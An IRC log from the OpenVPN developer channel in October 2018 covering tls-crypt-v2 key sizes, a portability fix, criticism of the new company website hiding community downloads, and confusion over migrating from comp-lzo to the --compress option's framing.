work bench 17:54 < tincantech> ? 17:55 < tincantech> FYI: All; openvpn build system now works as is in ubuntu 18.04 as well as 16.04 17:56 < tincantech> and if my PR gets applied the --build-depcache works without error ;) 18:37 -!- dazo [~freenode@openvpn/corp/developer/dazo] has quit [Ping timeout: 246 seconds] 18:38 -!- dazo [~freenode@openvpn/corp/developer/dazo] has joined #openvpn-devel 18:38 -!- mode/#openvpn-devel [+o dazo] by ChanServ --- Day changed Mon Oct 22 2018 00:00 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:00 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:23 <@cron2_> mornin 02:25 <@ordex> moin moin 02:25 <@ordex> back to normal ? :) 02:26 <@cron2_> back in Munich, but people insist on heaping their madness on me 02:26 <@cron2_> like, another round of budget negotiation meetings 02:45 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 06:31 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:31 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:19 < tincantech> mattock1: the build system now works with ubuntu 18.04 and if you apply my PR (#134) then --build-depcache works without error 07:55 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 08:12 <@ordex> patches !! 08:16 < tincantech> syzzer: (et al) --genkey --secret generates a 2048bit key file, i know that --genkey has been changed to not require --secret option but does it also generate a 2048b key and so in tls-crypt-v2 specification doc is "this key contains *2* 512bit keys" correct ? .. is it not 4 512b keys ? 08:17 < tincantech> there are also two final typos 08:18 <@ordex> tincantech: yes, they are 2 x 512b 08:18 <@ordex> for the server key 08:18 < tincantech> ordex: ok thanks .. what is the other 1024 bits for ? 08:18 < tincantech> ahh .. two for server two for client ? 08:19 < tincantech> or something like that 08:19 <@syzzer> tincantech: yeah, more-of-less 08:20 <@syzzer> the standard keys are 2x server-to-client and 2x client-to-server 08:20 <@syzzer> where 2x is because of 1x crypt and 1x auth 08:20 < tincantech> syzzer: yep thanks :) 08:20 <@ordex> thisis when using "--tls-crypt-v2-genkey client", no syzzer ? 08:20 <@ordex> "--tls-crypt-v2-genkey server" should generate a 2x512=1024B only, not 2048 08:21 <@syzzer> correct 08:21 <@ordex> syzzer: in the doc file you still mentioned "--genkey" somewhere, instead of the new command 08:21 <@syzzer> shite 08:21 < tincantech> lol 08:21 <@ordex> Generate·a·tls-crypt-v2·server·key·using·OpenVPN's·``--genkey``. 08:21 <@ordex> this can be fixed on the fly - I will report that on the ml 08:22 <@syzzer> if it's small enough, that would be great 08:22 < tincantech> ordex: i have checked for typos etc (really thoroughly) si i'll just post that 08:22 <@ordex> tincantech: which one ? 08:23 < tincantech> it's on the list :) 08:23 <@ordex> I mean, which one do you want to post? I haven't got that 08:24 <@ordex> ah ok 08:24 <@ordex> because the 1024B thing is not a mistake when speaking of generating the *server* key 08:24 < tincantech> i only mentioned it becuase i was not sure .. but you guys can fix the logic because you understand it .. typos are easy 08:25 <@ordex> ah ok, saw the typos now :) 08:25 < tincantech> and i guess we want this done and dusted for the new reelease 08:26 <@ordex> yup, 2.5 that is 08:32 <@syzzer> tincantech: thanks for the check. that "attack service" must have been some short-circuit in my brain :') 08:33 <@ordex> hah the auto-corrector is taking over 08:34 < tincantech> syzzer: my pleasure :) .. I learn from your docs, it is well written 08:43 <@syzzer> thanks :) 10:34 <@plaisthos> I am a peaceful person but working with glib2 and dbus makes me want to kill people 10:40 <@ordex> lock the door !! from outside 10:42 <@syzzer> hehe, we still have this story about some dev who got so frustrated about some horrible platform he had to work on that he actually kicked in one of the dev room doors :') 10:45 <@ordex> ;P 10:51 <@syzzer> hm, shouldn't verify-x509-name be possible to use in <connection> blocks? 10:54 <@plaisthos> syzzer: nope 10:54 <@plaisthos> it is not 10:54 <@plaisthos> might be nice but is not allowed 11:08 <@cron2_> syzzer: he was working with Linux? 12:07 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:07 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:55 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 13:41 <@vpnHelper> RSS Update - gitrepo: Introduce openvpn_swprintf() with nul termination guarantee <https://github.com/OpenVPN/openvpn/commit/43a5a4f3b4e411419639c195fee8a76495fdc88e> 13:58 <@ecrist> let's see how long that lasts. 13:58 <@ecrist> "It has been 0 work days since our last channel ban." 13:58 <@ecrist> I should write a more complete #openvpn landing web page 13:58 <@ecrist> for giggles 13:59 <@ecrist> searchable database-backed chat log, a last ban page banner, live/running statistics. 13:59 <@ecrist> new supybot plugin or something 13:59 * ecrist digresses 14:58 < tincantech> we have a slightly interesting post on the forum : https://forums.openvpn.net/viewtopic.php?f=6&t=27288#p81928 14:58 <@vpnHelper> Title: One client keeps getting timeout error - OpenVPN Support Forum (at forums.openvpn.net) 14:58 < tincantech> turns out an older version of the TAP driver works better than the current one on Win2012r2 14:59 < tincantech> is it worth raising a trac for this ? 15:02 < tincantech> I'll try to enlist the help of the OP --- Day changed Tue Oct 23 2018 01:48 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:48 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:49 <@ordex> ah buildbot exploded! lev__ broke it :P 01:59 <@cron2_> "windows coders..." *duck* 02:07 <@ordex> :D 02:07 <@ordex> lev__: join the duck parade !! 03:22 < valdikss> After website update there's no 2.3 version available on the website. 03:41 <@ordex> yeah, no direct link, you can only browse through the repo 04:08 <@cron2_> can we get this fixed, please? 04:12 <@ordex> yes, just forwarded the complaint :) 04:18 <@ordex> cron2_: lev__ just realized that vswprintf() does not exist on old openbsd systems 04:23 <@ordex> cron2_: quick fix: lev__ will wrap openvpn_swprintf() definition within ifdef WINDOWS_ONLY (whatever the define is called) 04:31 <@ordex> *WIN32 05:44 <@cron2_> _WIN32, I wrote this in my "I have applied this" mail :-) 06:28 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Remote host closed the connection] 06:29 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 06:29 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 07:01 < tincantech> the new webshite is spamtastic ! 07:38 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 07:59 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:59 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 09:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 09:15 <@syzzer> about that new site... 09:15 <@syzzer> shouldn 09:16 <@syzzer> argh. shouldn't there be a link to 'community downloads' behind the big flashy "get openvpn" button? 09:18 <@ordex> apparently everything, except the community link, is about the corp side of things 09:18 <@ordex> which might be ok, but should not be ambiguous imho 09:18 <@ordex> i.e. the get openvpn might be converted to "get openvpn access server" 09:18 <@ordex> this is good feedback for the content manager i think 09:23 < kitsune1> Is that the new openvpn.net? After wading through many links it leads to the GUI project page which is so outdated/inactive -- https://sourceforge.net/projects/openvpn-gui/ 09:24 <@ordex> lol 09:24 <@ordex> how did you get there from openvpn.net ? 09:25 < kitsune1> Last but one link on this page: https://openvpn.net/community-downloads/ 09:25 <@vpnHelper> Title: Community Downloads | OpenVPN (at openvpn.net) 09:25 <@ordex> hmmm kind of weird that the download page says: OpenVPN is a full featured open source SSL VPN solution ... but on that page there is nothing open source :D 09:25 <@ordex> hmhm 09:25 <@ordex> eheh 09:26 <@ordex> is there a project page for openvpn-gui right now ? 09:27 <@ordex> anyway..I think this would require a full report from the community rather than just sending one or two items evey now and then 09:27 <@ordex> $somebody should take responsibility for writing a small report after collecting all the feedback from the various community participants and shoot it at the content manager 09:28 <@ecrist> ordex: poke mattock 09:28 <@ecrist> or dazo 09:28 <@ecrist> however, I and some others have made comments about it in the past and nothing changes, so... 09:29 <@ordex> ecrist: comments where ? 09:29 <@ecrist> here 09:29 <@ordex> ah ok 09:29 <@ordex> yeah, nobody at the moment is responsible for collecting comments/feedback 09:29 <@ordex> I will talk to mattock about this 09:29 <@ordex> not sure how much time he also has :S 09:30 <@ordex> or we ask to setup an email exactly for this and we send all our comments there individually 09:30 <@ordex> but at least they will go directly to the interested person without too much effort 09:32 < kitsune1> Even if all such things are fixed, the way community version is hidden behind corporate dazzle is not going to change.. The community needs its on website. Or at least https://openvpn.net/community/ should look like a community website with header and footer links predominantly related to the open-source version not the company. 09:32 <@vpnHelper> Title: Community | OpenVPN (at openvpn.net) 09:32 <@ordex> well, that is what happens when you switch to https://community.openvpn.net/ no? 09:32 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net) 09:33 <@ordex> and that is trac, which we can customize if we feel like 09:33 <@ordex> still I agree with you about the "hiding" 09:33 <@ordex> this is why we should collect our comments and try to propose something 09:33 <@ordex> otherwise we'll always be shouting "no, this is wrong" and they won't know what to do 09:33 <@ordex> imho 09:34 <@ordex> i.e. having a clear link on openvpn.net which redirects you directly to community.openvpn.net would not be bad, but then it should be clear. the Get OpenVPN definitely makes it less clear 09:34 < tincantech> at last ..... 09:35 <@ordex> also the menu under "community": imho it should not be there, the link should just take you to the community planet and then the user will be hand-held there, otherwise it feels always kind of weird. 09:35 <@ordex> imho 09:35 < kitsune1> Yeah, but community.openvpn.net is not a good portal that quickly leads to downloads, project github pages etc. (agreed its trac and can be changed). 09:36 <@ordex> yeah, we could change that, I think - nothing is preventing us from working on it 09:37 <@ordex> or, if we have no time, we could ask the company if it wants to sponsor the change following our supervision, or something like that 09:37 <@ordex> (just making this up now) 09:37 <@ecrist> if one of you is willing to design a nicer community landing page, feel free to do so. 09:37 <@ecrist> If it's nice/functional, I'll put the work in to get it published. 09:37 < kitsune1> ordex: totally agree -- the link community in the corporate page should just take one to the community world without all the dazzle. 09:38 <@ordex> ecrist: yap, that's also what I am saying :) but we should decouple the two problems: 1) better separation on openvpn.net 2) improve community.openvpn.net 09:38 <@ordex> I think 2) is mostly on us, at least for starters 09:39 <@ecrist> I think 2) needs to come first 09:40 <@ordex> well, then :) we know what to do 09:40 <@ecrist> And, 2) doesn't have be completed in the framework of trac, it can be separate, and we can drive people to trac for it's purposes. 09:41 <@ordex> yap 09:41 < kitsune1> Agreed 2) needs to come first -- the current community pages are all over the place, some wiki articles out of date, for some one has to follow a nested links to get to the latest info etc. But I have no web design foo -- only time to moan and criticize. 09:41 <@ordex> having one platform just make it easier to maintain 09:45 <@ecrist> kitsune1: I have web design foo and no time. :) 10:00 < kitsune1> ecrist: let's trade places :) 10:29 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:29 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:36 <@dazo> anyone got a chance to have a look at this patch, to see if this looks like a reasonable approach for the PKCS#11 challenge with systemd? https://community.openvpn.net/openvpn/raw-attachment/ticket/538/0001-pkcs11-Workaround-to-make-PKCS-11-PIN-token-work-wit.patch 10:38 <@dazo> kitsune1: regarding the download .... I have yelled (literally, via chat) to the people responsible for the new web site ... and I have been quite vocal about not being happy about _yet__again_ hiding the community downloads ... I want at least a "For the open source community version downloads, go here" on the main "Get OpenVPN" page 10:40 <@ordex> dazo: as I said earlier, it is kind of funny that the download page says a first thing "openvpn is an open source solution" and then all the downloads are closed source software :P 10:41 <@dazo> yes 10:53 <@syzzer> darn, I just made this lovely patch to remote --compat-names and --no-name-remapping ("6 files changed, 21 insertions(+), 201 deletions(-)"), and *now* the IT department decides to do maintenance on the mail server, so I can't send it to the list :( :( :( 10:53 <@plaisthos> syzzer: remote == remove? 10:53 <@syzzer> ys 10:53 <@plaisthos> yay! :D 10:54 <@syzzer> sorry, I know I should be reviewing, but just couldn't resist when I noticed a "This will be removed in 2.5" comment in the source :p 10:57 <@ordex> :D 13:02 < tincantech> OpenVPN-AS.. shallow as that glittering film of deisel on a frozen puddle under a waning winter sun 13:03 < tincantech> my last words on the subject (hopefully) 13:15 <@ordex> what movie is that ? 13:17 <@ordex> tincantech: ^ 13:22 < tincantech> the one running in my head ;) 13:26 < tincantech> ordex: btw, thanks for picking up the issue ;) i hope it changes 13:27 <@ordex> well, it doesn't on its own :) 13:44 < kitsune1> tincantech: After seeing the new website I can empathise with you -- had no idea what you have been harping about until then :) 13:45 < tincantech> yep ;) .. i need to learn to rephrase my objections 13:46 < kitsune1> I dont think anything will change unless "someone" makes a new community site that could be linked to.. Recall seeing similar discussions on this topic in the past. 13:47 < tincantech> perhaps the original website source could be shared .. i don't know 13:49 <@ecrist> at some point, maybe I will, I don't really have the motivation at the moment. 13:50 < tincantech> ecrist: are you the one responsible for it ? 13:50 < tincantech> i mean the new website ? 13:50 <@ecrist> not responsible, but I have access to the community goo. I dont' have access to corporate resources. 13:51 < tincantech> ok .. well, i'm not saying to go back to the original but i don't think the current website is appropriate at all 13:59 < tincantech> I will just say, I do not mind AS taking priority (or whatever the word is) but I do think that once a user selects CE then the incessant spam has to be gone 14:01 < tincantech> on the other hand .. if this is the future of the www then Futurama were really accurate with their version of it 14:01 <@dazo> I am in contact with the internal OpenVPN Inc people working on the new website ... and I am making some noise about it 14:01 <@dazo> quite some noise 14:01 < tincantech> dazo: +10 14:02 < tincantech> in fact +11 ;) 14:02 <@dazo> lol 14:02 < kitsune1> Part of it may be due to the design -- reusing the same template for all pages means the same headers, footers and all prominant links one sees even on the "community page" takes back to the paid products. 14:03 <@dazo> unfortunately, the marketing people have no understanding of the importance of involving the community - in the scope of "outside OpenVPN Inc employees" 14:03 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 14:04 <@dazo> Next week mattock1 and I will also be in a meeting with the CEO present, and I'm sure we will make some noise even there 14:06 < kitsune1> dazo: but this was done in the past wasn't it -- and the result we see is the new site which is even worse.. So one cant help wonder whether this "obscuring" community links is deliberate.. 14:06 < kitsune1> I menat the complaining to CEO etc part.. 14:06 <@dazo> kitsune1: fun fact ... I discussed this about having a different themes for community, like a different colour palette to start with ... and make this more visible even on the front-page, without making something complete different .... and that was considered a good idea by marketing people back then 14:06 <@dazo> even having a link or reference on the "Get OpenVPN" download page to the community versions was part of that discussion 14:06 <@dazo> So that I am disappointed, is a mild understatement 14:07 < tincantech> perhaps the "Corp header" can just scroll up with the page .. 14:08 <@dazo> I'm not accepting any kind of "workarounds" to make this look like a company "embracing open source". I am expecting OpenVPN Inc to embrace open source publicly on their web page. Period. 14:08 < kitsune1> Recall you mentioning it here... So, cant help feeling like a lost cause and community has to make their own site.. but devs time is precious and limited, so need web-saavy volunteers with time to spare. 14:09 <@dazo> Open source embracing is not achieved by hiding the downloads and all behind a single glorified "community" drop-down menu 14:10 < tincantech> it's not even "glorified" .. 14:10 < kitsune1> Glad to hear you say that while working for the company.. 14:10 <@dazo> OpenVPN Inc wouldn't be where it is today without the open source work .... it would not have such broad acceptance on all platforms without the community. This needs to be improved, and that's basically the message I'm sending internally 14:10 < kitsune1> The word "community" has some glory 14:11 <@dazo> it's used as a "hype word" in this context for me 14:11 < tincantech> i mean the "community" on the website has no apparent glory .. it is obscured by camoflage 14:12 <@dazo> but the balance between community and corp is hard to get right ... because at the same time the community has been important for the company ... the company is equally important for the community, to be able to hire developers driving the open source projects ... and that needs funding, which happens through sales 14:12 < tincantech> it's the sort of tricks that some rather unscrupulous webshites tend to use 14:13 <@dazo> but bottom line is: I believe we (as a company) can do better! 14:13 < tincantech> i mean there actually is "click bait" right on the first/every page 14:16 < kitsune1> tincantech: Its the company's website so that may be their marketing strategy. But the rub is the link to community should not lead to another company page with all those baits. 14:17 < tincantech> kitsune1: i am quite sure we agree .. just I am less well informed than you ;) 14:17 < tincantech> i may have to rewrite this : https://forums.openvpn.net/viewtopic.php?f=30&t=22603 14:18 <@vpnHelper> Title: HOWTO: Request Help ! - OpenVPN Support Forum (at forums.openvpn.net) 14:18 < tincantech> ;) 14:18 < tincantech> i gave AS priority .. i guess i can take it away 14:20 <@dazo> tincantech: no, that's fine ... I think it's good that we (as the community) are better than the company (for the time being) 14:20 < tincantech> rofl .. i think they can stand to take one little black eye ;)) 14:22 < tincantech> i don't see any reason to not remove AS from that post entirely but I can also be more lenient 14:22 <@dazo> remember that if the community starts to be less supportive to the community ... it's can just as easily stop sponsoring all the VMs for the forum services it now covers ... it can restrict us working in the community/company segment to down-prioritize the community as a whole 14:22 < kitsune1> Yeah, show the other cheek. 14:23 <@dazo> and then we will have even lesser chance to get our own "fingerprint" on the main web site 14:23 < tincantech> dazo: point taken 14:23 < tincantech> kitsune1: ;) 14:24 < kitsune1> hard to imagine tincantech showing the other cheek ;) 14:24 < tincantech> rofl :D 14:24 < kitsune1> no offense 14:24 <@dazo> just have faith in us working in the company to try to make this improve from the inside ... as this is mostly people inside who needs to be educated what the community is and why it is so much more important than what they think now 14:24 < tincantech> i have the other "in my pants" ! 14:24 < tincantech> kitsune1: none talen at all :D 14:25 < kitsune1> even better place to slap 14:25 < tincantech> taken* 14:25 < tincantech> dazo: i totally get you .. i was just teasing a little 14:25 <@dazo> :) 14:25 < tincantech> good luck and please let us know how it goes :) 14:26 <@dazo> hopefully, you will notice it quicker on the web page ;-) 14:26 < tincantech> sweet :) 14:26 < kitsune1> height of optimism 14:29 < tincantech> i don't know much about OVPN inc" but I do know about CE and why i like it .. so i don't feel my optimism is totally misplaced .. and dazo is certainly a formidable debater :) 14:31 <@dazo> :) 14:32 <@dazo> When I was interviewed by the CEO and in many discussions later ... I have made it crystal clear that I didn't leave Red Hat to work on close/proprietary projects .... I live for open source and I want to help make a difference for OpenVPN Inc in the communities, ensuring there is innovation which benefits the community as much as the company 14:33 <@dazo> (which is also why I've been tasked with and have been working quite a lot on the openvpn3-linux client) 14:34 < tincantech> dazo: quick Q. which repo for 3 did you want me to try ? 14:34 < tincantech> there are two right .. 14:34 <@dazo> tincantech: https://github.com/OpenVPN/openvpn3-linux ... but if you have a centos/fedora box available, you can get all pre-built ... 14:34 <@vpnHelper> Title: GitHub - OpenVPN/openvpn3-linux: OpenVPN 3 Linux client (at github.com) 14:34 < tincantech> tyvm 14:35 <@dazo> for rhel/centos/fedora ... https://copr.fedorainfracloud.org/coprs/dsommers/openvpn3/ 14:35 <@vpnHelper> Title: dsommers/openvpn3 Copr (at copr.fedorainfracloud.org) 14:35 <@dazo> the last build there is reasonably up-to-date 14:36 < tincantech> thanks 14:38 < tincantech> if anybody can think of something more shallow than a film of deisel on a partially frozen puddle, i would be curious to hear it ;) 14:40 < tincantech> perhaps that anti-glare film on my glasses 14:41 <@dazo> lightning an already burned match, being disappointed it doesn't burn? 14:42 < tincantech> nah .. i am talking about actually shallow as in unbelievable thin 14:42 < tincantech> not just stupid ;) 14:42 <@dazo> :-P 14:45 < tincantech> dazo: your last comment (about the match) says more than you think :D 14:46 < tincantech> i guess, in this case, shallow could mean stupid ;) 14:47 < tincantech> but i really did mean "shallow" in both senses .. those marketing guys really do have no respect .. they are taught to be that way (i know) 14:51 <@dazo> when you're trained in the classic ways of business .... then it's hard to grasp the community and its role in the business .... they just need to open their eyes 14:51 <@dazo> and to realise that the community is a crucial part of the company as a whole 14:53 < tincantech> I am *way* more cynical than you think *-) 14:54 < tincantech> but i respect your efforts and commitment 14:54 <@dazo> "you're" in my sentence was aimed at the corp people :) 14:55 < tincantech> i know because you used it correctly :) 14:55 <@dazo> ahh good ;-) 14:55 <@dazo> You made me doubt myself now! Darn you! :-P 14:55 < tincantech> lol .. seriously .. it was guud ;) 14:55 <@dazo> :) 14:57 < tincantech> even i use your when i mean you're quite badly .. have to double check for that and "thier/their/there/they're" 14:57 <@dazo> oh yeah 14:58 <@dazo> English is much easier to talk than to write :-P 14:59 < tincantech> personally, english is deep in my brain so i don't get much choice but i love other languages and have always *at least* tried to learn good manners in the native tongue of anywhere i have visited .. but i'm also a raving looney! 15:00 <@dazo> :) 15:00 <@dazo> but much more important, tincantech .... I really would love to hear about your experiences with openvpn3-linux (and yes, I've prepared myself with protective shields to handle harsh critique of how horrendous the user experience is!) ;-) 15:01 < tincantech> I'm on it :) 15:02 <@dazo> cool! 15:04 < tincantech> just FYI: i was on it before but got a little confused with the two repos .. then i had a major system failure and had to rebuild .. and then real life .. and then raving looney! .. I'm just pleased that at least now i have the right bookmarks ;) 15:05 < tincantech> dazo: ^ 15:11 <@dazo> no worries :) 15:17 < tincantech> confusion seems to be something of an openvpn speciality >=] 15:18 <@dazo> of course! We wouldn't want to disappoint anyone! 15:25 < tincantech> :) 15:34 <@dazo> but ... I am curious ... what is confusing? 15:45 < tincantech> i was torn between: https://github.com/OpenVPN/openvpn3 vs https://github.com/OpenVPN/openvpn3-linux .. probably because i did not pay attention to you initially .. but now i spoke to you, i know where to go ;) s'guud |-] 15:45 <@vpnHelper> Title: GitHub - OpenVPN/openvpn3: OpenVPN 3 is a C++ class library that implements the functionality of an OpenVPN client, and is protocol-compatible with the OpenVPN 2.x branch. (at github.com) 15:45 < tincantech> vpnHelper: got lagged ;) 15:46 < tincantech> other than that, confusion seems to be a useful tool 15:49 <@dazo> divide and conquer! :-P 15:49 * dazo gotta run 15:54 < tincantech> run forest ! 15:59 < tincantech> dazo: (et al) re Inc header .. It takes up nearly 30% of my screen (HDMI) if it will not "scroll up" then it can at least "scale to fit" a sub 10% margin ... 16:02 < tincantech> and ((Get OpenVPN)) is unacceptable click bait .. at least drop down to 16:05 < tincantech> at least marginal equality is reasonable .. (( click bait )) > drop down >> ASS* >>>> CE 16:06 < tincantech> i did have one other expression .. nut i'll leave that in the eye of the beholder ;) 16:52 < tincantech> syzzer: you rock man ;) --- Day changed Wed Oct 24 2018 01:41 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:41 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:24 <@d12fk> with the new --compress option, how do i configure the framing? 04:25 <@d12fk> i.e. compress lzo == comp-lzo yes 04:25 <@d12fk> but what is equal to comp-lzo no? just compress without a mode? 04:26 <@ordex> yap 04:26 <@ordex> "compress" alone should do the trick 04:26 <@d12fk> that was easy ;-) thanks 04:26 <@ordex> :) 04:31 <@plaisthos> not sure 04:32 <@plaisthos> doesn't compress use swap while comp-lzo no does not? 04:32 <@ordex> swap ? 04:32 <@dazo> Isn't it --compress stubv2 which should be used? 04:32 <@ordex> :D 04:32 <@plaisthos> ordex: yeah 04:33 <@ordex> it's good that each of us comes with his own proposal :D it means this is utterly unclear :P 04:33 <@plaisthos> before james did the v2 variant, he implemented swapping the opcode byte with the last byte 04:33 <@plaisthos> to have it aligned 04:33 <@ordex> If the algorithm parameter is empty, compression will be turned off, but the packet fram‐ 04:33 <@ordex> ing for compression will still be enabled, allowing a different setting to be pushed 04:33 <@ordex> later. 04:33 <@dazo> especially since the stub alternative is not documented in the man page :-P 04:33 <@ordex> this is from the man 04:33 <@ordex> dazo: also all the *-v2 are not 04:34 <@plaisthos> yeah, the whole thing is a mess 04:34 <@plaisthos> ordex: my allow-compression fixes the docu iirc 04:34 * ordex cries 04:35 <@ordex> let's think about this later 05:14 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 05:18 <@ordex> ecrist: kitsune1: tincantech: the website point was briefly touched during our weekly meeting and I was suggested to start a wikipage to collect our suggestions: https://community.openvpn.net/openvpn/wiki/WebsiteSuggestions 05:18 <@vpnHelper> Title: WebsiteSuggestions – OpenVPN Community (at community.openvpn.net) 05:18 <@ordex> you can dump here all the things you mentioned yesterday or in the past 05:20 <@dazo> +1 05:44 <@d12fk> re compress, tried it without any options and it results in "Bad compression stub (swap) decompression header byte: 250" 05:45 <@d12fk> the server still has comp-lzo yes/no (both don't work) 05:45 <@dazo> d12fk: Alright, so you most likely need stub-v2 05:45 * d12fk trying this out 05:46 <@dazo> and if that breaks ... we're in deep sh** with https://community.openvpn.net/openvpn/wiki/VORACLE :-P 05:46 <@vpnHelper> Title: VORACLE – OpenVPN Community (at community.openvpn.net) 05:48 <@d12fk> stub-v2 doesn't seem to work 05:49 <@dazo> eeek 05:49 <@d12fk> write to TUN/TAP : Invalid argument (code=22) 05:49 <@dazo> plaisthos ^^^^ 05:54 <@plaisthos> dazo: did you use stubv2 on both sides? 05:55 <@dazo> d12fk: ^^^ 05:55 * dazo enters proxy mode :-P 05:55 <@plaisthos> d12fk: yeah, sounds like this swap included in compress and not in comp-lzo no 05:59 <@d12fk> no, I am trying to figure out how to migrate from comp-lzo to compress 06:00 <@d12fk> clients and server are not upgraded at the same tinme 06:00 <@cron2_> dazo: i've seen the argv patch collection and it's somewhere on my list, but this week was busier than usual (plus family outages) 06:01 <@d12fk> tunnelblick complains about comp-lzo being used with 2.4: "Warning: This VPN may not connect in the future 'comp-lzo' was deprecated in OpenVPN 2.4 and removed in OpenVPN 2.5" 06:01 <@d12fk> customers are worried 06:02 <@dazo> cron2_: thx for the update! I just added some "history references" to the patch-set, so that's kept in our history ... hopefully that'll help review too :) 06:02 <@d12fk> so, the idea was to ship client configs with compress instead of comp-lzo, but somehow the framing is not compatible 06:02 <@plaisthos> d12fk: why? 06:02 <@dazo> d12fk: and the intention with --compress is to be used to replace --comp-lzo 06:03 <@plaisthos> basically compress and comp-lzo are not compatible 06:03 <@d12fk> yes, but this cannot be done simultaniously on both the client and the server 06:03 <@plaisthos> d12fk: client-connect or management script 06:03 <@plaisthos> check IV_* and push the compress you want 06:04 <@d12fk> are the IVs sent starting from 2.4? 06:04 <@plaisthos> d12fk: 2.1 or earlier 06:05 <@d12fk> how can I tell 2.3 and 2.4 apart then? 06:05 <@plaisthos> oh 06:05 <@plaisthos> you have extra IV for different compression 06:06 <@d12fk> this issue is not with compression but framing 06:06 <@d12fk> at least it seems like it 06:06 <@plaisthos> d12fk: yeah comp-lzo is not compatible with compress 06:06 <@plaisthos> at least from reading the code 06:07 <@d12fk> o_O 06:07 <@d12fk> so there's no upgrade path at all 06:07 <@plaisthos> d12fk: doesn't matter 06:08 <@plaisthos> with my patch you get a warning for all compression options anyway :P 06:08 <@plaisthos> as for IV options e.g. IV_COMP_STUBv2=1 is send by clients that support it 06:10 <@d12fk> yeah but let's imaging a server that is upgraded from 2.3 to a version which doesn't support comp-lzo anymore 06:10 <@d12fk> any client would need to upgraded along with it 06:10 <@plaisthos> we don't have that deprecation warning in our code 06:10 <@plaisthos> do we? 06:10 <@d12fk> because the clients do have comp-lzo in their configs 06:10 <@plaisthos> that seems something that tunnelblick is doing on itself, right? 06:11 <@d12fk> no, the warning comes from tunnelblick. so comp-lzo will actually not be deprecated? 06:11 <@d12fk> i.e. removed from openvpn 06:12 <@plaisthos> d12fk: basically with VORACLE, all compression will have the same lifetime expection 06:12 <@plaisthos> :P 06:12 <@plaisthos> so all option that enable compression will print a warning 06:13 <@d12fk> that's correct, but in our case it is a customers decision to enable/disable it 06:13 <@d12fk> nothing I have to think about other than chossing sane defaults maybe 06:14 <@d12fk> so, i'll ask the tunnelblick guys to remove the warning for comp-lzo, shall I? 06:14 <@plaisthos> let me fix the wiki first 06:15 <@d12fk> wiki == the voracle page? 06:15 <@plaisthos> https://community.openvpn.net/openvpn/wiki/DeprecatedOptions 06:15 <@vpnHelper> Title: DeprecatedOptions – OpenVPN Community (at community.openvpn.net) 06:15 <@plaisthos> d12fk: the short version is that we screwed up 06:15 <@plaisthos> since we assumed that comp-lzo no and compress are the same 06:15 <@plaisthos> which they are not 06:18 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:18 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:18 <@plaisthos> I will write a patch for the manpage and the wiki :/ 06:19 <@plaisthos> It is a mess but at least document this mess properly 06:19 <@d12fk> mkay, wasn't jkbullard present here? 06:24 <@plaisthos> but compress lzo is compatible with comp-lzo yes 06:24 <@plaisthos> WAAAAAAH 06:44 <@plaisthos> d12fk: yeah sending a mail with "hey we screwed up and need to keep comp-lzo no longer than we really wanted 06:50 <@cron2_> plaisthos: compress lzo is supposed to be the same as "comp-lzo". The "comp-lzo no" thing was always a bit weird 06:54 <@plaisthos> cron2_: yeah it is 06:54 <@plaisthos> comp-lzo no and compress are not identical 06:54 <@plaisthos> I sent a patch to the mailing list 06:54 <@plaisthos> And I think we need to keep comp-lzo no around 06:55 <@ordex> it feels like we have features hidden behind options with different names 07:01 <@plaisthos> it relly does not help that we introduced the new non v2 variants together with the v2 variant which are better in every way 07:02 * ordex ducks in circle 07:02 <@plaisthos> cron2_: but on plus side we have now 4 different ways of doing "no compresion" :P 07:02 <@plaisthos> (stub, stubv2, comp-lzo no and no option at all) 07:02 <@plaisthos> and only no option at all and stubv2 are compatible 07:03 <@plaisthos> unless you are running tap and have a mac starting with 05 07:03 <@ordex> :D 07:05 <@mattock1> please add website suggestions/concerns here: https://community.openvpn.net/openvpn/wiki/WebsiteSuggestions 07:05 <@vpnHelper> Title: WebsiteSuggestions – OpenVPN Community (at community.openvpn.net) 07:17 <@d12fk> so, to recap, comp-lzo will stick around for eternity?! 07:20 <@plaisthos> d12fk: not sure yet, as I said we screwed up 07:21 <@plaisthos> d12fk: more likely all compression together is removed 07:23 <@d12fk> heh 07:23 <@d12fk> then you need to handle comp framing if clients come in with it 07:24 <@d12fk> *both framings =) 07:47 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 10:38 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:38 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:00 <@vpnHelper> RSS Update - gitrepo: Wrap openvpn_swprintf into Windows define <https://github.com/OpenVPN/openvpn/commit/4ce1a9b6b3ae0be32a3d999c5bc93731c64d7bbb> 11:21 * cron2_ points out that the 